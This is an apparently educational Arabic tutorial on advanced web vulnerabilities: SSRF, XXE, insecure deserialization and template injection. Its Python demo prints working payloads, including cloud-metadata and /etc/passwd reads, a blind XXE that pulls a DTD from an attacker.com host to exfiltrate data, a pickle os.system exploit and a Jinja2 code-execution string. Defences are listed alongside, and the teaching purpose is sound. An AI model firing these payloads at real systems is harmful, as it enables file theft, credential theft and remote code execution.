ثغرات الويب المتقدمة — الاختراق الأخلاقي
ثغرات الويب المتقدمة
1. SSRF - Server-Side Request Forgery
ما هو؟
إجبار الخادم على إرسال طلبات لعناوين غير مصرح بها.
الخطورة
- الوصول للشبكة الداخلية
- قراءة ملفات محلية
- الوصول لـ Cloud metadata
مثال
# URL عادي
https://example.com/fetch?url=https://api.external.com/data
# استغلال SSRF
https://example.com/fetch?url=http://169.254.169.254/metadata
https://example.com/fetch?url=http://localhost/admin
https://example.com/fetch?url=file:///etc/passwdالحماية
- Whitelist للـ URLs المسموحة
- لا file:// أو localhost
- تحقق من IP بعد DNS resolution
---
2. XXE - XML External Entity
ما هو؟
استغلال معالج XML لقراءة ملفات أو إرسال طلبات.
مثال
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>Blind XXE
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>الحماية
- تعطيل External Entities
- استخدام JSON بدل XML
- تحديث مكتبات XML
---
3. Insecure Deserialization
ما هو؟
استغلال عملية تحويل البيانات المُسلسلة لكائنات.
اللغات المتأثرة
- Java (ObjectInputStream)
- PHP (unserialize)
- Python (pickle)
- .NET (BinaryFormatter)
مثال Python
# خطير!
import pickle
def load_profile(user_input: bytes):
return pickle.loads(user_input) # ❌ خطأ أمني: فك بيانات غير موثوقة بـ pickle قد ينفذ كوداً — استخدم jsonالحماية
- لا تعالج serialized data من مصادر غير موثوقة
- استخدم JSON
- توقيع البيانات
# ثغرات الويب المتقدمة - للتعليم
import base64
import json
class AdvancedWebVulnsDemo:
"""
محاكاة ثغرات الويب المتقدمة للتعليم
"""
# ===== SSRF =====
def ssrf_demo(self):
"""محاكاة SSRF"""
print("\n🔴 SSRF - Server-Side Request Forgery")
print("=" * 60)
# طلب عادي
print("\n 📥 Normal Request:")
print(" GET /fetch?url=https://api.example.com/data")
print(" → Server fetches external API ✅")
# محاولات SSRF
print("\n ⚠️ SSRF Attempts:")
attacks = [
{
"payload": "http://169.254.169.254/latest/meta-data/",
"target": "AWS Metadata",
"impact": "Get AWS credentials!"
},
{
"payload": "http://localhost:8080/admin",
"target": "Internal Admin Panel",
"impact": "Access admin without auth"
},
{
"payload": "file:///etc/passwd",
"target": "Local Files",
"impact": "Read system files"
},
{
"payload": "http://192.168.1.1/",
"target": "Internal Network",
"impact": "Scan internal hosts"
},
]
for attack in attacks:
print(f"\n 🎯 Payload: {attack['payload']}")
print(f" Target: {attack['target']}")
print(f" Impact: {attack['impact']}")
# الحماية
print("\n 🛡️ Protection:")
print(" - Whitelist allowed domains")
print(" - Block private IP ranges")
print(" - Disable file:// protocol")
print(" - Validate after DNS resolution")
# ===== XXE =====
def xxe_demo(self):
"""محاكاة XXE"""
print("\n🔴 XXE - XML External Entity")
print("=" * 60)
# XML عادي
print("\n 📄 Normal XML:")
normal_xml = '''<?xml version="1.0"?>
<user>
<name>Ahmed</name>
<email>ahmed@example.com</email>
</user>'''
print(f" {normal_xml}")
# XXE payload
print("\n ⚠️ XXE Payload:")
xxe_payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>'''
print(f" {xxe_payload}")
print("\n 💥 Result:")
print(" Server returns contents of /etc/passwd!")
# Blind XXE
print("\n 🕵️ Blind XXE (when no output):")
blind_xxe = '''<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>'''
print(f" {blind_xxe}")
print(" → Data exfiltrated to attacker's server")
# الحماية
print("\n 🛡️ Protection:")
print(" - Disable DTDs entirely")
print(" - Disable external entities")
print(" - Use JSON instead of XML")
# ===== Deserialization =====
def deserialization_demo(self):
"""محاكاة Insecure Deserialization"""
print("\n🔴 Insecure Deserialization")
print("=" * 60)
# شرح المفهوم
print("\n 📦 What is Serialization?")
print(" Object → Bytes → Transfer → Bytes → Object")
# Python pickle
print("\n 🐍 Python Pickle Exploit:")
exploit_code = '''
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
# Create malicious pickle
payload = pickle.dumps(Exploit())
# Send to vulnerable server...
'''
print(f" {exploit_code}")
# PHP unserialize
print("\n 🐘 PHP Unserialize:")
php_payload = '''
O:4:"User":1:{s:4:"role";s:5:"admin";}
'''
print(f" Payload: {php_payload}")
print(" → Change user role to admin!")
# Java
print("\n ☕ Java Deserialization:")
print(" - ysoserial tool")
print(" - Commons Collections gadgets")
print(" - RCE through ObjectInputStream")
# الحماية
print("\n 🛡️ Protection:")
print(" - Never deserialize untrusted data")
print(" - Use JSON for data transfer")
print(" - Sign serialized data (HMAC)")
print(" - Whitelist allowed classes")
# ===== SSTI =====
def ssti_demo(self):
"""محاكاة SSTI"""
print("\n🔴 SSTI - Server-Side Template Injection")
print("=" * 60)
print("\n 📝 What is it?")
print(" Injecting template syntax that gets executed server-side")
# Jinja2
print("\n 🐍 Jinja2 (Python/Flask):")
print(" Input: {{7*7}}")
print(" Output: 49 ← Template executed!")
print("\n RCE Payload:")
jinja_rce = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
print(f" {jinja_rce}")
# Twig
print("\n 🐘 Twig (PHP):")
print(" {{_self.env.registerUndefinedFilterCallback('exec')}}")
print(" {{_self.env.getFilter('id')}}")
# Detection
print("\n 🔍 Detection Payloads:")
payloads = [
("{{7*7}}", "49", "Jinja2/Twig"),
("49", "49", "FreeMarker/Velocity"),
("<%=7*7%>", "49", "ERB"),
("#{7*7}", "49", "Ruby"),
]
for payload, result, engine in payloads:
print(f" {payload:<15} → {result:<5} ({engine})")
# الحماية
print("\n 🛡️ Protection:")
print(" - Never put user input in templates")
print(" - Use sandboxed template engines")
print(" - Escape user input properly")
def run_all_demos(self):
"""تشغيل كل العروض"""
self.ssrf_demo()
self.xxe_demo()
self.deserialization_demo()
self.ssti_demo()
print("\n" + "=" * 60)
print(" 📚 Summary: Advanced Web Vulnerabilities")
print("=" * 60)
print("""
| Vulnerability | Impact | Difficulty |
|---------------|--------|------------|
| SSRF | High | Medium |
| XXE | High | Medium |
| Deserialize | Critical | High |
| SSTI | Critical | Medium |
""")
# تشغيل
demo = AdvancedWebVulnsDemo()
demo.run_all_demos()اختبر فهمك